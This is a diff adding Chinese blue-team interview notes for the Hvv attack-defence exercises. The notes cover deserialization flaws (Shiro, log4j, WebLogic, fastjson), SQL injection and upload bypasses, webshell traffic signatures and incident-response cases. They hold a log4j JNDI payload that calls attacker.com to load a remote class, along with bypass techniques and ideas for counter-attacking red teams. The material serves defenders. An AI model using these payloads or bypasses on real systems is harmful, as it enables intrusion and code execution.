|
| 1 | +--- |
| 2 | +title: "2023 Hvv 面试笔记" |
| 3 | +date: 2023-07-04 |
| 4 | +draft: false |
| 5 | +--- |
| 6 | + |
| 7 | +# websocket 流量特征 |
| 8 | +1. 通常是复用 80和 443 端口,在原有的http协议上生成。upgrade : websocket |
| 9 | +2. 长链接,连接通常保持打开和空闲状态,直到客户端或服务器发送消息,客户端与服务器之间存在定时的ping-pong机制数据交互以保持连接状态 |
| 10 | +3. 客户端带有 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== 用于加密 |
| 11 | +4. Websocket 多用于聊天或者小包传输场景中 |
| 12 | + |
| 13 | +# IP封禁 |
| 14 | +1. 如果有防火墙等设备,推荐在防火墙上封禁IP |
| 15 | +2. 如果内网沦陷,可上线服务器手动设置IPtbles 防火墙隔离受感染机器 |
| 16 | +3. 同时上报 IP给其他人 |
| 17 | +<!--more--> |
| 18 | + |
| 19 | + |
| 20 | +# 危险函数 |
| 21 | +代码执行: `eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function` |
| 22 | + |
| 23 | +文件读取: `file_get_contents(),highlight_file(),fopen(),read` `file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()` 等 |
| 24 | + |
| 25 | +命令执行:`system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()` |
| 26 | + |
| 27 | + |
| 28 | +# Sharo 反序列原理 |
| 29 | +服务器端对rememberMe中的cookie依次进行base64解密、AES解密和反序列化得到cookie的值对用户进行认证。 |
| 30 | +rememberMe 可以被构造,将恶意代码放入 rememberMe,服务器端解析后就会触发Java反序列化漏洞,进而在目标机器上执行任意命令。 |
| 31 | +漏洞原理: |
| 32 | +1. shiro550 硬编码的key |
| 33 | +2. shiro-721 用户通过 Padding Oracle 攻击生成的攻击代码构造恶意的rememberMe字段,造成任意代码执行,原理:服务端回显,反映解密成功与否。服务器的回显总归是有些危险的,我们可以以回显差异来判断我们的输入是否正确,这也是padding oracle攻击的利用点 |
| 34 | +防御: |
| 35 | +升级 |
| 36 | +限制rememberMe字段长度 |
| 37 | + |
| 38 | +# log4j |
| 39 | +出网协议 rmi、ldap, |
| 40 | +对 JNDI 出网协议解析不正确,攻击者在服务器中构造恶意Class 文件,在日志中如果有 JNDI 解析触发错误,如`${jndi:rmi:http://attacker.com/exp}` 下载攻击者`class`并实例化执行 |
| 41 | +绕过: |
| 42 | +希腊文字,UPPER,LOWER 等 |
| 43 | + |
| 44 | +# weblogic |
| 45 | +T3 协议发送反序列化漏洞 |
| 46 | +T3 配合RMI,JDNI 协议发送反序列化漏洞 |
| 47 | +流量特征:开头都是ac ed 00 05,端口:7001 数据包里有 CommonCollections/ysoserial 相关的东西 |
| 48 | +监测: |
| 49 | +`nmap script` 里有` weblogic-t3-info,WebLogic` 的具体版本号为10.3.6.0以下就行。 |
| 50 | +防御: |
| 51 | +增加 `jep290 `机制,需要修改JDK 设置 |
| 52 | +jdk版本过低没有JEP290机制下,需要重写 `resolveClass(resolveClass读取反序列化的类名)`来进行反序列化类黑名单过滤。 |
| 53 | + |
| 54 | + |
| 55 | +# fastjson |
| 56 | +`Object --> json or json-->Object` |
| 57 | + |
| 58 | +反序列化 @type 指定的类时,指定类的 setter 或 getter 被调用导致的命令执行,比如 JDBCRowSetImpl setter dataSourceName 方法,支持RMI远程调用。 |
| 59 | +在后续的版本中:Commons IO 2.x 写文件利用链挖掘 XmlStreamReader |
| 60 | +在1.2.25到1.2.41之间 autotype 可以绕过,函数checkAutotype存在缺陷 |
| 61 | +ver=1.2.47 java.lang.class 不在黑名单里 |
| 62 | + |
| 63 | +监测方法: |
| 64 | +xray |
| 65 | +找到提交的接口,比如 GET, POST, Cookie 有个参数 json,然后提交 构造的 JSON 数据,看dnslog有无返回,java.net.InetSocketAddress |
| 66 | + |
| 67 | + |
| 68 | +防御: |
| 69 | +开启safeMode,-Dfastjson.parser.safeMode=true |
| 70 | +升级到最新版本1.2.83 |
| 71 | + |
| 72 | +# 云函数 |
| 73 | +云函数:是独立运行的代码,托管在腾讯云平台上,可实现批量探测,由于IP数量多,造成溯源难度大,封禁难度大 |
| 74 | +1. 通过观测流量的方法,提取攻击者攻击的端口号,业务系统精细到某个页面某个接口的利用,提取特征,然后根据特征编写防火墙规则 |
| 75 | +2. X-Api-Status |
| 76 | +3. sh.apigw.tencentcs.com 域名前置 |
| 77 | + |
| 78 | +# 蜜罐 |
| 79 | +1. 可以模拟真实交互场景 |
| 80 | +2. 捕获攻击者攻击IP,攻击手法,甚至是未公开0day |
| 81 | +3. 捕获上传的木马以便后续分析,可以大概对攻击者所在的组织特征进行画像 |
| 82 | +4. 可以起到攻击预警监测的作用,帮助及时发现任何攻击活动。 |
| 83 | + |
| 84 | + |
| 85 | +# SQL 注入 |
| 86 | +1. 通过报错注入(bczr)(常用函数,updataxml,extractXML ,rand,exp ,squar 等函数)猜表名。 |
| 87 | +2. 构造SQL语句,写入文件到可写入的路径下的可读写文件中,盲注函数(substr,left,right,ascii,char) |
| 88 | +3. 多次构造注入语句进行多次写入操作,拼接成完整的Payload |
| 89 | +4. 访问运行 |
| 90 | +## 注入写文件的条件 |
| 91 | +1. 必须有写入权限 |
| 92 | +2. 查询语句的函数必须要能输出内容到某个文件里,常见的指令有 into outfile,load date file |
| 93 | +3. 该文件不能为空,且必须是文本文件 |
| 94 | +4. 攻击者必须知道文件在哪里 |
| 95 | +## SQL 绕过(sqlrg): |
| 96 | +大小写,编码绕过,宽字节绕过,内敛注释绕过,十六进制绕 |
| 97 | +SQL 注入预编译绕过:使用单引号和注释来拼接注入语句。 |
| 98 | +## SQL 注入防御 |
| 99 | +1. 严格规律用户输入语句 |
| 100 | +2. 使用预编译 |
| 101 | +3. 站酷分离设计 |
| 102 | +## SQLmap 流量特征 |
| 103 | +1. 大量的SQL查询发生,并且大量的不同规则的Payload反复对同一个页面或者接口查询 |
| 104 | +2. SQLmap有自己的UA 特征 |
| 105 | +3. 会在Cookie 字段里发现注入payload |
| 106 | + |
| 107 | +# 绕过 |
| 108 | +文件上传漏洞绕过: |
| 109 | +前端+后端过滤,后缀名截断,后缀名,MME绕过(修改 Content-Type ibm500、cp875 |
| 110 | +Accept-Encoding gzip |
| 111 | +截断文件名 |
| 112 | +HTTP PIpeline 分块传输) |
| 113 | + |
| 114 | + |
| 115 | +# 网站被挂马怎么办 |
| 116 | +1. 取证(登录服务器,查看日志异常进程端口号,web页面可疑文件等),处理(删除木马文件,内存马使用专用清除工具,或者手写JVM 拦截器),溯源(入侵IP背景信息,入侵手法,恶意代码相似度归类),记录 |
| 117 | + |
| 118 | +# 溯源 |
| 119 | +掌握攻击者的攻击手法,掌握攻击者背后的 IP &域名资产,掌握攻击者的真实身份 |
| 120 | +溯源攻击手法:收集 如 Req/resp,User-Agent,特有的红队工具,钓鱼邮件(LNK、EXE、DOCX)特征,使用过的漏洞。 |
| 121 | +溯源资产:发件服务器操作系统,IP,whos信息,绑定过的域名,DNS记录,回连C2,端口 |
| 122 | +溯源后门:代码逻辑,行为,利用的操作系统漏洞,链接到的二进制库 |
| 123 | +ID号:社交平台,Google,twitter,GitHub,Gitee,StackOverflow等,支付宝,微信 |
| 124 | +# 反制 |
| 125 | +通过对红队的资产展开渗透测试,拿下有些服务 |
| 126 | +蜜罐中诱导红队下载SSL VPN,恶意文档等 |
| 127 | +给红队发送钓鱼邮件等。 |
| 128 | +BUrpsite,扫描器fz,gz炸弹,nmap syn 超时等 |
| 129 | + |
| 130 | +# FOFA |
| 131 | +domain=”qq.com” 搜索根域名带有qq.com的网站。 |
| 132 | +host=”.gov.cn” 从url中搜索”.gov.cn” 搜索要用host作为名称 |
| 133 | +port=”6379” 查找对应“6379”端口的资产 |
| 134 | +ip=”220.181.111.1/24” 查询IP为“220.181.111.1”的C网段资产 |
| 135 | + |
| 136 | + |
| 137 | +# 蚁剑、冰蝎,哥斯拉流量特征 |
| 138 | +## 蚂剑 |
| 139 | +1. User-agent 为 Ant-swa,但是可以修改 request.js 实现 |
| 140 | +2. 混淆后的流量大部分是 0x 开头的 |
| 141 | + |
| 142 | +## 冰蝎 |
| 143 | +1. Accept 头是 application/xhtml lapplication/xml application/signed- exchange 弱特征 |
| 144 | +2. Content-Type: application/octet-stream 强特征,并且伴随着大量的Content-Type: applicationo/ctet-stream,很少使用 |
| 145 | +3. UserAgent 内置16 个,随机选择,弱特征 |
| 146 | + |
| 147 | +## 哥斯拉 |
| 148 | +动态特征 |
| 149 | +1. 监控 JVM 拦截反射类 javax.crypto.Cipher.getInstance(“AES”) |
| 150 | +2. C# 拦截 System.Security.Cryptography.RijndaelManaged() |
| 151 | +3. PHP使用异常或加密,并且直接使用 eval |
| 152 | +静态特征 |
| 153 | +1. User-Agent |
| 154 | +2. Accept text/html img/gif img/jepg; q=.2 |
| 155 | +3. Cookies 后面有个 ; 号 |
| 156 | +4. 第一个包比较大,后续的包有大有小,统计学特征 |
| 157 | +5. 响应特征,把 32 位 MD5 拆开,16 位 md5 + base64 + 后 16 位 md5, md5 字符集 0-9A-F 匹配 |
| 158 | + |
| 159 | + |
| 160 | +# 应急响应流程 |
| 161 | +应急响应流程:准备-监测-抑制-根除-恢复-编写报告 |
| 162 | +# 上机排查 |
| 163 | +首先确定是否为误报,分析抓到的Payload,如果是: |
| 164 | +1. 定位是哪台机器,可以在安全设备上查看 |
| 165 | +2. 定位与这台机器互相连接的机器,大致确定可能的受攻击范围 |
| 166 | +3. 记得一定要进行备份操作。 |
| 167 | +4. 非紧急的业务系统可以先做下线处理,在做大动作之前,先搞清楚业务逻辑,最好能得到领导的点头同意/ |
| 168 | +4. 根据告警内容检查相关服务的异常情况,如果有异常就需要采取阻断清楚威胁手段 |
| 169 | +5. 检查主机机器关联机器的日志文件,异常端口开放,可疑进程,数据库表单是否被修改,用户名等 |
| 170 | +6. 编写产出监测报告 |
| 171 | +如果不是,及时更新防火墙规则,以免才吃 |
| 172 | + |
| 173 | +# 应急响应案例 |
| 174 | +某公司十余台服务器感染勒索病毒,文件遭勒索加密,因 |
| 175 | +此向奇安信安服团队发起应急响应请求,查询中毒原因。 |
| 176 | +应急人员抵达现场后,查看加密文件后缀及勒索病毒界面,判断该病毒 |
| 177 | +是Phobos家族勒索病毒。通过现场对多台受害服务器进行日志分析,并与 |
| 178 | +相关工作人员沟通,发现公司内部员工曾使用个人电脑通过非官方渠道下载 |
| 179 | +各类破解版软件,导致个人电脑感染勒索病毒。同时内网多台服务器均开放 |
| 180 | +3389远程桌面服务端口,勒索病毒进入内网后对内网服务器进行RDP暴破, |
| 181 | +暴破成功后释放勒索病毒,加密文件。 |
| 182 | +加强内部访问策略,禁止或限制个人电脑进入内网,如业务需要,增 |
| 183 | +加访问控制策略; |
| 184 | +2)建议在服务器上部署安全加固软件,通过限制异常登录行为、开启防 |
| 185 | +暴破功能、禁用或限用危险端口(如3389、445、139、135等)、防范漏洞 |
| 186 | +利用等方式,提高系统安全基线,防范黑客入侵; |
| 187 | +禁止通过非官方渠道下载应用软件,及时修复 |
| 188 | +漏洞、安装补丁,将信息安全工作常态化 |
| 189 | + |
| 190 | + |
| 191 | +医疗行业某单位网内约 |
| 192 | +1000多台终端和服务器存在大量病毒,客户机不定时重启、蓝屏,严重影响 |
| 193 | +业务系统的正常运行。 |
| 194 | +应急人员通过对相关进程、文件、服务进行排查分析后,判断该单位内 |
| 195 | +网失陷是由于感染“永恒之蓝下载器”木马,导致病毒泛滥。通过检查现场内 |
| 196 | +网失陷主机,发现现场主机系统均未安装杀毒防护软件,C:\Windows目录下 |
| 197 | +存在大量以随机字符命名的.exe文件,并在系统服务中发现大量该exe对应的 |
| 198 | +服务。在分析天眼设备抓取流量时,发现内网共存在11种病毒,包括蠕虫病 |
| 199 | +毒、挖矿病毒、勒索病毒、远控木马、僵尸网络等多种病毒,且发现主机高危 |
| 200 | +端口如135、137、138、445端口均为开启状态并存在传播病毒的行为。除此 |
| 201 | +之外,应急人员在检查过程中发现sqlserver数据库管理员账户密码与网内所 |
| 202 | +有服务器均使用同一种密码,且该数据库服务器未安装任何安全防护设备,使 |
| 203 | +得木马快速在内网扩散,并存在大量外连行为,导致大量机器沦陷。 |
| 204 | +系统、应用相关用户杜绝使用弱口令,应使用高复杂强度的密码,尽 |
| 205 | +量包含大小写字母、数字、特殊符号等的混合密码,加强管理员安全意识, |
| 206 | +禁止密码重用的情况出现; |
| 207 | +2)有效加强访问控制ACL策略,细化策略粒度,按区域按业务严格限制 |
| 208 | +各个网络区域以及服务器之间的访问,采用白名单机制只允许开放特定的业 |
| 209 | +务必要端口,其他端口一律禁止访问,仅管理员IP可对管理端口进行访问, |
| 210 | +如FTP、数据库服务、远程桌面等管理端口; |
| 211 | +3)部署高级威胁监测设备,及时发现恶意网络流量,同时可进一步加强 |
| 212 | +追踪溯源能力,对安全事件发生时可提供可靠的追溯依据; |
| 213 | +4)建议在服务器上部署安全加固软件,通过限制异常登录行为、开启防 |
| 214 | +暴破功能、禁用或限用危险端口、防范漏洞利用等方式,提高系统安全基 |
| 215 | +线,防范黑客入侵 |
| 216 | + |
| 217 | +应急人员抵达现场后,通过对系统分析发现在WEB负载服务器WEB01 |
| 218 | +中确实存在黑链,对Web01进行排查发现后门文件,溯源分析后发现攻击者 |
| 219 | +是通过TRS服务器登入Web01系统,获取了Web01系统权限,通过对TRS |
| 220 | +服务器Web日志分析发现攻击者利用TRS漏洞,植入WebShell后门,攻击 |
| 221 | +IP经调研后发现为内部Redis服务器,通过对Redis服务器进行分析发现该 |
| 222 | +机器存在RootKit程序,该程序会自动连接到攻击者服务器,植入时间为: |
| 223 | +2017/03/17 ,且在该机器上发现了攻击者利用Redis未授权获得本机SSH管 |
| 224 | +理权限的行为和内网扫描行为。 |
| 225 | +综上,攻击者通过利用Redis未授权漏洞获取了Redis服务器本机SSH |
| 226 | +管理权限,并对同网段进行扫描,发现TRS服务器存在漏洞,并对该漏洞进 |
| 227 | +行利用,获取TRS服务器权限并植入Webshell后门文件,由于TRS服务器 |
| 228 | +与WEB负载服务器均使用相同密码,攻击者通过密码登录到WEB负载服务 |
| 229 | +器,植入后门文件,并在官网首页文件中插入恶意代码 |
| 230 | + |
| 231 | + |
| 232 | +# Windows 攻防 |
| 233 | +隐蔽的影子账户可以在注册表里Sam里看到。 |
| 234 | +Systeminfo可以查看系统信息并展示系统补丁信息 |
| 235 | +日志 Windows审核策略,事件查看器,有日志筛选框 |
| 236 | + |
| 237 | +可疑进程: netstat,tasklist, |
| 238 | +计划任务 schtasks |
| 239 | +%temp% 临时文件 |
0 commit comments